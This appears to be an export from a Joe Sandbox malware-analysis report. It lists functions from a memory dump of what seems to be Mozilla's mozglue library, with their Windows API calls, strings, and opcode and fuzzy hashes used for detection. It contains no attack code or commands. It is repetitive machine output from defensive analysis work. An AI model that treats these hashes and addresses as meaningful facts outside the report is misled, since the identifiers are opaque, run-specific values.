Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 92f6250364727181ab26f3264b0ed70abafe73d72049c1e4145e0b108feb110f
Instruction ID: 3ce1ded58cac1fb8e246e4be30c13d72c90a4a16f0764801962ba010c8a9fd1d
Opcode Fuzzy Hash: 92f6250364727181ab26f3264b0ed70abafe73d72049c1e4145e0b108feb110f
Instruction Fuzzy Hash: D05192B1A112168FEB14CF68D88176E73F2BF44718F19052AD517ABB40E731F945CB91

Function 6CA560E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA560F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA56180
free.MOZGLUE(?,?,?,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA56211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA56229
free.MOZGLUE(?,?,?,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA5625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA55FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA56271

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 243ec15cbe2c3d467fd37a14f60bc6b5027c30f0ac1565eef5ca477a7c8aed04
Instruction ID: d0294bd07bcf3f54c1317a986f3cc8eb11d522d93b0b48b952f5b4b532d09e5e
Opcode Fuzzy Hash: 243ec15cbe2c3d467fd37a14f60bc6b5027c30f0ac1565eef5ca477a7c8aed04
Instruction Fuzzy Hash: 41519EB1E002068FEB14CF68D8807AEB7B5FF45308F648439D516D7711EB31AAA9CB51

Function 6CA927E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA9284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA9289A
free.MOZGLUE(?,?,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA928F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA92910
free.MOZGLUE(00000001,?,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA9293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CA92620,?,?,?,6CA860AA,6CA85FCB,6CA879A3), ref: 6CA9294E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 10cbb513c8f6c3fc45c033021c42c069193eb3a6b80ff2e7e4a9b821e60299b2
Instruction ID: 3fe50351098a2c0ffea847eca481a489cb5e0bd0cd6afdb3928a48c128283b61
Opcode Fuzzy Hash: 10cbb513c8f6c3fc45c033021c42c069193eb3a6b80ff2e7e4a9b821e60299b2
Instruction Fuzzy Hash: EF41E2B1A103068FEB14CFA8D88936A73F6EF45708F144A39D566EB740E731E985CB91

Function 6CA4CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE784), ref: 6CA4CFF6
LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA4D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA4D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA4D139

Strings

MOZ_CRASH(), xrefs: 6CA4D187

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: b43a7ef158684869f96fc8f995a22205a20475a744888a343a34659b94b24324
Instruction ID: 312f91b85aaf2a86abd032313a2ca5365b6fc7f36ff4700bdd860a26129417ec
Opcode Fuzzy Hash: b43a7ef158684869f96fc8f995a22205a20475a744888a343a34659b94b24324
Instruction Fuzzy Hash: B341EE32F003128FCB08CE6CCC9636A76B0EB49714F148239EA19E7784D7A19D628BD5

Function 6CA44DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA44E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA44E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA44EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA44F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA44F1E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fa8d2d515a420d453f041936eb6e23d115dd1211cda0615bcc645ba6ebc34ad6
Instruction ID: 85f9e6ce0905fe36af2cbbb71acd0a4c2d8f2ebc409fdb635ff3488fed806c47
Opcode Fuzzy Hash: fa8d2d515a420d453f041936eb6e23d115dd1211cda0615bcc645ba6ebc34ad6
Instruction Fuzzy Hash: 8B41BC716087019FC705CF69C88199BB7F4BF89344F14CA2DF86697A41DB30E998CB91

Function 6CAAA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACF770), ref: 6CAAA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAA87B

Part of subcall function 6CAAA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CAAA88F,00000000), ref: 6CAAA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CAAA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAA90C
LeaveCriticalSection.KERNEL32(6CACF770), ref: 6CAAA97E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: c8c591bafba5991d6d6551b7e77751db366ca9a502a729309326c24cc5af9ff7
Instruction ID: 6cb6dbd9f2631701a22f9527b6ce4678d9a332bddeca6c59e66c3b27a0afc212
Opcode Fuzzy Hash: c8c591bafba5991d6d6551b7e77751db366ca9a502a729309326c24cc5af9ff7
Instruction Fuzzy Hash: CA4194B5E002048FDB04DFE8D845ADDBBB5FF04324F148619E825AB791D7319986CF91

Function 6CA51530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA5152B,?,?,?,?,6CA51248,?), ref: 6CA5159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA5152B,?,?,?,?,6CA51248,?), ref: 6CA515BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA5152B,?,?,?,?,6CA51248,?), ref: 6CA515E7
free.MOZGLUE(?,?,?,?,?,?,6CA5152B,?,?,?,?,6CA51248,?), ref: 6CA51606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA5152B,?,?,?,?,6CA51248,?), ref: 6CA51637

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: c58503122d63224c8b951cfdab68d0c2c5c6366b294debbfa66df817cd0a7ace
Instruction ID: dfabcc664031f90b419032d94e62a7f1fbb68ccef65193d1db0f95e923c3136c
Opcode Fuzzy Hash: c58503122d63224c8b951cfdab68d0c2c5c6366b294debbfa66df817cd0a7ace
Instruction Fuzzy Hash: 1D310A71A001048BC7188E7CD9508BE77E9BB853647A84B2DE523DBBD4EB30D9A48791

Function 6CAAAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CABE330,?,6CA6C059), ref: 6CAAAD9D

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CABE330,?,6CA6C059), ref: 6CAAADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CABE330,?,6CA6C059), ref: 6CAAAE01
GetLastError.KERNEL32(?,00000000,?,?,6CABE330,?,6CA6C059), ref: 6CAAAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CABE330,?,6CA6C059), ref: 6CAAAE3D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c8725e71af6f1c55b7fd185431dc743a6eedaa2190ce9a81af087987c744149c
Instruction ID: a05cac31fbbf21f94476a2a73fe3c6781311bbe1eb2492cd05a21683a055e7a0
Opcode Fuzzy Hash: c8725e71af6f1c55b7fd185431dc743a6eedaa2190ce9a81af087987c744149c
Instruction Fuzzy Hash: 7B317FB1A003159FDB10DF799D44AABBBF9EF48614F148829E84AE7700E734D885CBA0

Function 6CAA5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CABDCA0,?,?,?,6CA7E8B5,00000000), ref: 6CAA5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA7E8B5,00000000), ref: 6CAA5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA7E8B5,00000000), ref: 6CAA5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA7E8B5,00000000), ref: 6CAA5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA7E8B5,00000000), ref: 6CAA5FD6

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 3136b94277f5c6d16f317d465812b2b68cdc7a9bb2f977a5a76dc0e843b7f91c
Instruction ID: 866f14d8947238651f1fd4534a8caa46379ac1dab42fcf2405cd0bfff0d5a48d
Opcode Fuzzy Hash: 3136b94277f5c6d16f317d465812b2b68cdc7a9bb2f977a5a76dc0e843b7f91c
Instruction Fuzzy Hash: 77312E34300A01CFD715CF69C898E2AB7F9FF89319B688658E5568B795C731EC82CB90

Function 6CA4B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA4B532
moz_xmalloc.MOZGLUE(?), ref: 6CA4B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA4B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA4B57E
free.MOZGLUE(00000000), ref: 6CA4B58F

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 1909cb9507d20fe5b33281c258d35f176b5de4f109b548009a8820c8b0839d23
Instruction ID: facb688ba891eadadba7fed32c800b45c72a2317a833ac9d018839208287517b
Opcode Fuzzy Hash: 1909cb9507d20fe5b33281c258d35f176b5de4f109b548009a8820c8b0839d23
Instruction Fuzzy Hash: 6B210771A006059BDB009F68DC40BAEFBB9FF45308F288129E919DB341E736D955C7A1

Function 6CA4B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA4B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA4B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA4B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA4B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA4B849

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: c3583424fc11f35d485191af5faf44b5b87a5be0c74b3fb1137b783b0a5354a2
Instruction ID: f3f2ea3fedeeeb6e75ccc11867a4ae2f853adcbb3867b7045d0790f9bf7ebba3
Opcode Fuzzy Hash: c3583424fc11f35d485191af5faf44b5b87a5be0c74b3fb1137b783b0a5354a2
Instruction Fuzzy Hash: 43215CB0E002099FDF04DFA9D8855FEBBB4EF49718F148129EC05A7300E731AA85CBA0

Function 6CAA6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAA6E78

Part of subcall function 6CAA6A10: InitializeCriticalSection.KERNEL32(6CACF618), ref: 6CAA6A68
Part of subcall function 6CAA6A10: GetCurrentProcess.KERNEL32 ref: 6CAA6A7D
Part of subcall function 6CAA6A10: GetCurrentProcess.KERNEL32 ref: 6CAA6AA1
Part of subcall function 6CAA6A10: EnterCriticalSection.KERNEL32(6CACF618), ref: 6CAA6AAE
Part of subcall function 6CAA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAA6AE1
Part of subcall function 6CAA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAA6B15
Part of subcall function 6CAA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAA6B65
Part of subcall function 6CAA6A10: LeaveCriticalSection.KERNEL32(6CACF618,?,?), ref: 6CAA6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAA6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAA6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAA6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAA6EFF

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: b492503e9678a2b1bf15d906536cddd3c93143f8e559434bea67164a1d8ecd17
Instruction ID: 526bfea91080fbcb73127c59403b5b9402942bfae8561b278414532d1422ece4
Opcode Fuzzy Hash: b492503e9678a2b1bf15d906536cddd3c93143f8e559434bea67164a1d8ecd17
Instruction Fuzzy Hash: A121C471A0431A9FCB14CF69D8856DE77F4FF88308F048139E81997340DB309A898F92

Function 6CAA76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAA76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAA7705

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAA7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAA778F,00000000,00000000,00000000,00000000), ref: 6CAA7731
free.MOZGLUE(00000000), ref: 6CAA7760

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 9c183aff5a5bef2a099f0736f7f3049a1750272d15680b8805df3e6447e2d28d
Instruction ID: 50340c2e8c02dafd956ed84194fa79a329d400b34d2e3004002b9ab96d9269c2
Opcode Fuzzy Hash: 9c183aff5a5bef2a099f0736f7f3049a1750272d15680b8805df3e6447e2d28d
Instruction Fuzzy Hash: A311B6B29003256BD710AFB6DD44BAB7EE8EF45354F044529F848E7300E77189848BE2

Function 6CA80D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA43DEF), ref: 6CA80D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA43DEF), ref: 6CA80D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA43DEF), ref: 6CA80DAF

Strings

<jemalloc>, xrefs: 6CA80D92, 6CA80DB9
: (malloc) Error in VirtualFree(), xrefs: 6CA80D97, 6CA80DBE

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5450608364719aed3b42aabb91f4b64a7ae59bd19ba1924f1b849470a9a299aa
Instruction ID: 9214c30f09ae2a8dce5a6fb09856fccead25ac29f5f3c19c0590204ba390201c
Opcode Fuzzy Hash: 5450608364719aed3b42aabb91f4b64a7ae59bd19ba1924f1b849470a9a299aa
Instruction Fuzzy Hash: 2BF0E93138379523E628116E1C0AF6B265D6BC2B24F348135F214DADC0DA50E4C146AA

Function 6CA97620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA975C4,?), ref: 6CA9762B

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA974D7,6CAA15FC,?,?,?), ref: 6CA97644
GetCurrentThreadId.KERNEL32 ref: 6CA9765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA974D7,6CAA15FC,?,?,?), ref: 6CA97663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA974D7,6CAA15FC,?,?,?), ref: 6CA97677

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: eadc810d05128dea2b5e53c540172992cff0982c37fe5af30a7a5eeb5f09e05d
Instruction ID: 5f78f4fa2515e094a9d074b41306668649b4316d8df8bdbeccbc72cd42c8e519
Opcode Fuzzy Hash: eadc810d05128dea2b5e53c540172992cff0982c37fe5af30a7a5eeb5f09e05d
Instruction Fuzzy Hash: 25F02272E10386ABD3008F21D888676BB78FFEA759F118316F90443601E7B1A6D18BD0

Function 6CAA1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAA1800

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

Part of subcall function 6CA44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA83EBD,6CA83EBD,00000000), ref: 6CA442A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CAA18C7
name, xrefs: 6CAA1939
Details, xrefs: 6CAA1925

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
